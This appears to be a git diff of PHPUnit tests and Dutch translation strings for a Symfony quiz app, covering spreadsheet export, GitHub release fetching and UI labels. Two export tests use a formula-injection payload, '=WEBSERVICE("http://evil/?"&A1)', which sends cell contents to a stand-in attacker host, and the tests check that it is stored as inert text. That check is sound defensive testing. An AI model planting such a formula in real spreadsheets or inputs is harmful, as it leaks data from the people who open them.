||||||
|
use Tvdt\Entity\Quiz;
|
||||||
|
use Tvdt\Repository\QuizRepository;
|
||||||
|
use Tvdt\Service\DataExportService;
|
||||||
|
use Tvdt\Service\QuizSpreadsheetService;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reproduces a Sentry warning (PHP-SYMFONY-3Z): with more than 25 questions, the last raw-answers
|
||||||
|
* column goes past 'Z' (e.g. 'AA'), and range('A', 'AA') is invalid because range()'s second argument
|
||||||
|
* must be a single byte.
|
||||||
|
*/
|
||||||
|
#[CoversClass(DataExportService::class)]
|
||||||
|
final class DataExportServiceRawAnswersColumnsTest extends TestCase
|
||||||
|
{
|
||||||
|
public function testFillRawAnswersSheetHandlesMoreThanTwentyFiveQuestions(): void
|
||||||
|
{
|
||||||
|
$subject = new DataExportService(
|
||||||
|
$this->createStub(EntityManagerInterface::class),
|
||||||
|
$this->createStub(QuizSpreadsheetService::class),
|
||||||
|
$this->createStub(QuizRepository::class),
|
||||||
|
);
|
||||||
|
|
||||||
|
$quiz = new Quiz();
|
||||||
|
for ($i = 0; $i < 26; ++$i) {
|
||||||
|
$question = new Question();
|
||||||
|
$question->question = 'Question '.($i + 1);
|
||||||
|
$quiz->addQuestion($question);
|
||||||
|
}
|
||||||
|
|
||||||
|
$sheet = new Spreadsheet()->getActiveSheet();
|
||||||
|
|
||||||
|
$method = new \ReflectionMethod(DataExportService::class, 'fillRawAnswersSheet');
|
||||||
|
$method->invoke($subject, $sheet, $quiz);
|
||||||
|
|
||||||
|
$this->assertEqualsWithDelta(30.0, $sheet->getColumnDimension('AA')->getWidth(), \PHP_FLOAT_EPSILON);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,6 +4,8 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Service;
|
namespace Tvdt\Tests\Service;
|
||||||
|
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||||
use PhpOffice\PhpSpreadsheet\Reader;
|
use PhpOffice\PhpSpreadsheet\Reader;
|
||||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
@@ -201,6 +203,87 @@ final class DataExportServiceTest extends DatabaseTestCase
|
|||||||
$this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
|
$this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void
|
||||||
|
{
|
||||||
|
$season = $this->getSeasonByCode('krtek');
|
||||||
|
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]);
|
||||||
|
$this->assertInstanceOf(Quiz::class, $quiz);
|
||||||
|
$candidate = $this->getCandidateBySeasonAndName($season, 'Claudia');
|
||||||
|
|
||||||
|
/** @var Question $firstQuestion */
|
||||||
|
$firstQuestion = $quiz->questions->first();
|
||||||
|
/** @var Answer $chosenAnswer */
|
||||||
|
$chosenAnswer = $firstQuestion->answers->first();
|
||||||
|
$chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)';
|
||||||
|
|
||||||
|
$this->quizCandidateRepository->createIfNotExist($quiz, $candidate);
|
||||||
|
$this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer));
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$zip = $this->openZip($this->getUserByEmail('user2@example.org'));
|
||||||
|
$quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx');
|
||||||
|
$this->assertIsString($quizContent);
|
||||||
|
$zip->close();
|
||||||
|
|
||||||
|
$sheet = $this->loadSheet($quizContent, 'Raw answers');
|
||||||
|
$rows = $sheet->toArray();
|
||||||
|
$header = $rows[0];
|
||||||
|
$questionColumnIndex = array_search($firstQuestion->question, $header, true);
|
||||||
|
$this->assertIsInt($questionColumnIndex);
|
||||||
|
$column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1);
|
||||||
|
|
||||||
|
$candidateNames = array_column(\array_slice($rows, 1), 0);
|
||||||
|
$rowNumber = 2 + array_search('Claudia', $candidateNames, true);
|
||||||
|
|
||||||
|
$cell = $sheet->getCell($column.$rowNumber);
|
||||||
|
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||||
|
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void
|
||||||
|
{
|
||||||
|
$season = $this->getSeasonByCode('krtek');
|
||||||
|
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]);
|
||||||
|
$this->assertInstanceOf(Quiz::class, $quiz);
|
||||||
|
|
||||||
|
/** @var Question $firstQuestion */
|
||||||
|
$firstQuestion = $quiz->questions->first();
|
||||||
|
$correctAnswer = $firstQuestion->answers->filter(static fn (Answer $answer): bool => $answer->isRightAnswer)->first();
|
||||||
|
$wrongAnswer = $firstQuestion->answers->filter(static fn (Answer $answer): bool => !$answer->isRightAnswer)->first();
|
||||||
|
$this->assertInstanceOf(Answer::class, $correctAnswer);
|
||||||
|
$this->assertInstanceOf(Answer::class, $wrongAnswer);
|
||||||
|
|
||||||
|
$candidateWithCorrectAnswer = $this->getCandidateBySeasonAndName($season, 'Claudia');
|
||||||
|
$candidateWithWrongAnswer = $this->getCandidateBySeasonAndName($season, 'Eelco');
|
||||||
|
|
||||||
|
$this->quizCandidateRepository->createIfNotExist($quiz, $candidateWithCorrectAnswer);
|
||||||
|
$this->quizCandidateRepository->createIfNotExist($quiz, $candidateWithWrongAnswer);
|
||||||
|
|
||||||
|
$this->entityManager->persist(new GivenAnswer($candidateWithCorrectAnswer, $quiz, $correctAnswer));
|
||||||
|
$this->entityManager->persist(new GivenAnswer($candidateWithWrongAnswer, $quiz, $wrongAnswer));
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$zip = $this->openZip($this->getUserByEmail('user2@example.org'));
|
||||||
|
$quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx');
|
||||||
|
$this->assertIsString($quizContent);
|
||||||
|
$zip->close();
|
||||||
|
|
||||||
|
$sheet = $this->loadSheet($quizContent, 'Raw answers');
|
||||||
|
$rows = $sheet->toArray();
|
||||||
|
$header = $rows[0];
|
||||||
|
|
||||||
|
$questionColumnIndex = array_search($firstQuestion->question, $header, true);
|
||||||
|
$this->assertIsInt($questionColumnIndex);
|
||||||
|
$column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1);
|
||||||
|
|
||||||
|
$candidateNames = array_column(\array_slice($rows, 1), 0);
|
||||||
|
$correctRowNumber = 2 + array_search('Claudia', $candidateNames, true);
|
||||||
|
$wrongRowNumber = 2 + array_search('Eelco', $candidateNames, true);
|
||||||
|
|
||||||
|
$this->assertTrue($sheet->getStyle($column.$correctRowNumber)->getFont()->getBold(), 'Expected the correct answer to be bold');
|
||||||
|
$this->assertFalse($sheet->getStyle($column.$wrongRowNumber)->getFont()->getBold(), 'Expected the wrong answer to not be bold');
|
||||||
|
}
|
||||||
|
|
||||||
public function testQuizInfoSheetShowsDropoutsFinalizationAndDisabledQuestions(): void
|
public function testQuizInfoSheetShowsDropoutsFinalizationAndDisabledQuestions(): void
|
||||||
{
|
{
|
||||||
$season = $this->getSeasonByCode('krtek');
|
$season = $this->getSeasonByCode('krtek');
|
||||||
|
|||||||
@@ -0,0 +1,133 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Service;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
use Safe\DateTimeImmutable;
|
||||||
|
use Symfony\Component\Cache\Adapter\ArrayAdapter;
|
||||||
|
use Symfony\Component\HttpClient\MockHttpClient;
|
||||||
|
use Symfony\Component\HttpClient\Response\MockResponse;
|
||||||
|
use Tvdt\Service\GitHubReleasesService;
|
||||||
|
|
||||||
|
#[CoversClass(GitHubReleasesService::class)]
|
||||||
|
final class GitHubReleasesServiceTest extends TestCase
|
||||||
|
{
|
||||||
|
public function testGetReleasesMapsGitHubResponse(): void
|
||||||
|
{
|
||||||
|
$body = json_encode([
|
||||||
|
[
|
||||||
|
'tag_name' => 'v0.8.0',
|
||||||
|
'name' => 'v0.8.0',
|
||||||
|
'published_at' => '2026-07-12T10:00:00Z',
|
||||||
|
'body' => "## Added\n- Something new",
|
||||||
|
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
|
||||||
|
],
|
||||||
|
], \JSON_THROW_ON_ERROR);
|
||||||
|
|
||||||
|
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
|
||||||
|
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
|
||||||
|
|
||||||
|
$releases = $subject->getReleases();
|
||||||
|
|
||||||
|
$this->assertEquals([
|
||||||
|
'tagName' => 'v0.8.0',
|
||||||
|
'name' => 'v0.8.0',
|
||||||
|
'publishedAt' => new DateTimeImmutable('2026-07-12T10:00:00Z'),
|
||||||
|
'body' => "## Added\n- Something new",
|
||||||
|
'url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
|
||||||
|
], $releases[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testGetReleasesReturnsEmptyArrayOnHttpFailure(): void
|
||||||
|
{
|
||||||
|
$httpClient = new MockHttpClient(static fn (): MockResponse => new MockResponse('', ['http_code' => 500]));
|
||||||
|
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
|
||||||
|
|
||||||
|
$this->assertSame([], $subject->getReleases());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testHttpFailureIsNotCached(): void
|
||||||
|
{
|
||||||
|
$requestCount = 0;
|
||||||
|
$httpClient = new MockHttpClient(static function () use (&$requestCount): MockResponse {
|
||||||
|
++$requestCount;
|
||||||
|
|
||||||
|
return new MockResponse('', ['http_code' => 500]);
|
||||||
|
});
|
||||||
|
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
|
||||||
|
|
||||||
|
$subject->getReleases();
|
||||||
|
$subject->getReleases();
|
||||||
|
|
||||||
|
$this->assertSame(2, $requestCount);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testGetReleasesReturnsEmptyArrayOnUnparseablePublishedAt(): void
|
||||||
|
{
|
||||||
|
$body = json_encode([
|
||||||
|
[
|
||||||
|
'tag_name' => 'v0.8.0',
|
||||||
|
'name' => 'v0.8.0',
|
||||||
|
'published_at' => 'not-a-valid-date',
|
||||||
|
'body' => 'Some release notes',
|
||||||
|
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
|
||||||
|
],
|
||||||
|
], \JSON_THROW_ON_ERROR);
|
||||||
|
|
||||||
|
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
|
||||||
|
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
|
||||||
|
|
||||||
|
$this->assertSame([], $subject->getReleases());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testGetReleasesKeepsALiteralZeroReleaseName(): void
|
||||||
|
{
|
||||||
|
$body = json_encode([
|
||||||
|
[
|
||||||
|
'tag_name' => 'v0.9.0',
|
||||||
|
'name' => '0',
|
||||||
|
'published_at' => '2026-07-12T10:00:00Z',
|
||||||
|
'body' => 'Some release notes',
|
||||||
|
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.9.0',
|
||||||
|
],
|
||||||
|
], \JSON_THROW_ON_ERROR);
|
||||||
|
|
||||||
|
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
|
||||||
|
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
|
||||||
|
|
||||||
|
$releases = $subject->getReleases();
|
||||||
|
|
||||||
|
$this->assertSame('0', $releases[0]['name']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testGetReleasesSortsNewestFirst(): void
|
||||||
|
{
|
||||||
|
$body = json_encode([
|
||||||
|
[
|
||||||
|
'tag_name' => 'v0.7.0',
|
||||||
|
'name' => 'v0.7.0',
|
||||||
|
'published_at' => '2026-07-10T10:00:00Z',
|
||||||
|
'body' => 'Older release',
|
||||||
|
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.7.0',
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'tag_name' => 'v0.8.0',
|
||||||
|
'name' => 'v0.8.0',
|
||||||
|
'published_at' => '2026-07-12T10:00:00Z',
|
||||||
|
'body' => 'Newer release',
|
||||||
|
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
|
||||||
|
],
|
||||||
|
], \JSON_THROW_ON_ERROR);
|
||||||
|
|
||||||
|
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
|
||||||
|
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
|
||||||
|
|
||||||
|
$releases = $subject->getReleases();
|
||||||
|
|
||||||
|
$this->assertSame('v0.8.0', $releases[0]['tagName']);
|
||||||
|
$this->assertSame('v0.7.0', $releases[1]['tagName']);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,6 +4,7 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Service;
|
namespace Tvdt\Tests\Service;
|
||||||
|
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||||
use PhpOffice\PhpSpreadsheet\Reader;
|
use PhpOffice\PhpSpreadsheet\Reader;
|
||||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
use PhpOffice\PhpSpreadsheet\Writer;
|
use PhpOffice\PhpSpreadsheet\Writer;
|
||||||
@@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase
|
|||||||
$this->assertCount(3, $second->answers);
|
$this->assertCount(3, $second->answers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
|
||||||
|
{
|
||||||
|
$quiz = new Quiz();
|
||||||
|
$question = new Question();
|
||||||
|
$question->question = 'Who missed the assignment?';
|
||||||
|
$question->ordering = 1;
|
||||||
|
$question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
|
||||||
|
$question->addAnswer(new Answer('Bob', isRightAnswer: false));
|
||||||
|
|
||||||
|
$quiz->addQuestion($question);
|
||||||
|
|
||||||
|
$path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
|
||||||
|
|
||||||
|
$sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
|
||||||
|
$cell = $sheet->getCell('B2');
|
||||||
|
|
||||||
|
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||||
|
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
||||||
|
}
|
||||||
|
|
||||||
public function testXlsxToQuizThrowsOnInvalidMimeType(): void
|
public function testXlsxToQuizThrowsOnInvalidMimeType(): void
|
||||||
{
|
{
|
||||||
$path = $this->createTempPath('.txt');
|
$path = $this->createTempPath('.txt');
|
||||||
|
|||||||
@@ -117,6 +117,10 @@
|
|||||||
<source>Are you sure you want to delete this quiz?</source>
|
<source>Are you sure you want to delete this quiz?</source>
|
||||||
<target>Weet je zeker dat je deze test wilt verwijderen?</target>
|
<target>Weet je zeker dat je deze test wilt verwijderen?</target>
|
||||||
</trans-unit>
|
</trans-unit>
|
||||||
|
<trans-unit id="6XTrab." resname="Are you sure you want to reset progress for this candidate? Their given answers for this quiz will be deleted.">
|
||||||
|
<source>Are you sure you want to reset progress for this candidate? Their given answers for this quiz will be deleted.</source>
|
||||||
|
<target>Weet je zeker dat je de voortgang van deze kandidaat wilt resetten? De ingevulde antwoorden voor deze test worden verwijderd.</target>
|
||||||
|
</trans-unit>
|
||||||
<trans-unit id="4bcq6sL" resname="Assign">
|
<trans-unit id="4bcq6sL" resname="Assign">
|
||||||
<source>Assign</source>
|
<source>Assign</source>
|
||||||
<target>Toewijzen</target>
|
<target>Toewijzen</target>
|
||||||
@@ -161,6 +165,10 @@
|
|||||||
<source>Candidate not found</source>
|
<source>Candidate not found</source>
|
||||||
<target>Kandidaat niet gevonden</target>
|
<target>Kandidaat niet gevonden</target>
|
||||||
</trans-unit>
|
</trans-unit>
|
||||||
|
<trans-unit id="fl.hjdA" resname="Candidate progress reset">
|
||||||
|
<source>Candidate progress reset</source>
|
||||||
|
<target>Voortgang kandidaat gereset</target>
|
||||||
|
</trans-unit>
|
||||||
<trans-unit id="QH4e_Ho" resname="Candidate renamed">
|
<trans-unit id="QH4e_Ho" resname="Candidate renamed">
|
||||||
<source>Candidate renamed</source>
|
<source>Candidate renamed</source>
|
||||||
<target>Kandidaat hernoemd</target>
|
<target>Kandidaat hernoemd</target>
|
||||||
@@ -233,6 +241,10 @@
|
|||||||
<source>Could not find candidate with name {name} in elimination.</source>
|
<source>Could not find candidate with name {name} in elimination.</source>
|
||||||
<target>Kon geen kandidaat vinden met de naam {name} in de eliminatie</target>
|
<target>Kon geen kandidaat vinden met de naam {name} in de eliminatie</target>
|
||||||
</trans-unit>
|
</trans-unit>
|
||||||
|
<trans-unit id="HL5QYZd" resname="Could not load releases from GitHub.">
|
||||||
|
<source>Could not load releases from GitHub.</source>
|
||||||
|
<target>Kan releases niet laden van GitHub.</target>
|
||||||
|
</trans-unit>
|
||||||
<trans-unit id="0DvmToq" resname="Create a season">
|
<trans-unit id="0DvmToq" resname="Create a season">
|
||||||
<source>Create a season</source>
|
<source>Create a season</source>
|
||||||
<target>Maak een seizoen aan</target>
|
<target>Maak een seizoen aan</target>
|
||||||
@@ -257,6 +269,10 @@
|
|||||||
<source>Current password</source>
|
<source>Current password</source>
|
||||||
<target>Huidig wachtwoord</target>
|
<target>Huidig wachtwoord</target>
|
||||||
</trans-unit>
|
</trans-unit>
|
||||||
|
<trans-unit id="xreXHN5" resname="Current version">
|
||||||
|
<source>Current version</source>
|
||||||
|
<target>Huidige versie</target>
|
||||||
|
</trans-unit>
|
||||||
<trans-unit id="PkrbQOH" resname="Cyan">
|
<trans-unit id="PkrbQOH" resname="Cyan">
|
||||||
<source>Cyan</source>
|
<source>Cyan</source>
|
||||||
<target>Cyaan</target>
|
<target>Cyaan</target>
|
||||||
@@ -541,6 +557,10 @@
|
|||||||
<source>Number of dropouts:</source>
|
<source>Number of dropouts:</source>
|
||||||
<target>Aantal afvallers:</target>
|
<target>Aantal afvallers:</target>
|
||||||
</trans-unit>
|
</trans-unit>
|
||||||
|
<trans-unit id="vxaREnf" resname="One candidate per line">
|
||||||
|
<source>One candidate per line</source>
|
||||||
|
<target>Eén kandidaat per regel</target>
|
||||||
|
</trans-unit>
|
||||||
<trans-unit id="_SqArFZ" resname="Open">
|
<trans-unit id="_SqArFZ" resname="Open">
|
||||||
<source>Open</source>
|
<source>Open</source>
|
||||||
<target>Openen</target>
|
<target>Openen</target>
|
||||||
@@ -733,6 +753,10 @@
|
|||||||
<source>Register</source>
|
<source>Register</source>
|
||||||
<target>Registreren</target>
|
<target>Registreren</target>
|
||||||
</trans-unit>
|
</trans-unit>
|
||||||
|
<trans-unit id="3s37xTt" resname="Releases">
|
||||||
|
<source>Releases</source>
|
||||||
|
<target>Releases</target>
|
||||||
|
</trans-unit>
|
||||||
<trans-unit id="WevL4T_" resname="Remember me">
|
<trans-unit id="WevL4T_" resname="Remember me">
|
||||||
<source>Remember me</source>
|
<source>Remember me</source>
|
||||||
<target>Onthoud mij</target>
|
<target>Onthoud mij</target>
|
||||||
@@ -761,6 +785,10 @@
|
|||||||
<source>Reset password</source>
|
<source>Reset password</source>
|
||||||
<target>Wachtwoord herstellen</target>
|
<target>Wachtwoord herstellen</target>
|
||||||
</trans-unit>
|
</trans-unit>
|
||||||
|
<trans-unit id="SSMxy68" resname="Reset progress">
|
||||||
|
<source>Reset progress</source>
|
||||||
|
<target>Voortgang resetten</target>
|
||||||
|
</trans-unit>
|
||||||
<trans-unit id="eyayNGN" resname="Reset your password">
|
<trans-unit id="eyayNGN" resname="Reset your password">
|
||||||
<source>Reset your password</source>
|
<source>Reset your password</source>
|
||||||
<target>Wachtwoord herstellen</target>
|
<target>Wachtwoord herstellen</target>
|
||||||
@@ -961,6 +989,10 @@
|
|||||||
<source>View</source>
|
<source>View</source>
|
||||||
<target>Bekijken</target>
|
<target>Bekijken</target>
|
||||||
</trans-unit>
|
</trans-unit>
|
||||||
|
<trans-unit id="a1.g0sm" resname="View on GitHub">
|
||||||
|
<source>View on GitHub</source>
|
||||||
|
<target>Bekijk op GitHub</target>
|
||||||
|
</trans-unit>
|
||||||
<trans-unit id="JWRtx_o" resname="White">
|
<trans-unit id="JWRtx_o" resname="White">
|
||||||
<source>White</source>
|
<source>White</source>
|
||||||
<target>Wit</target>
|
<target>Wit</target>
|
||||||
|
|||||||
Reference in New Issue
Block a user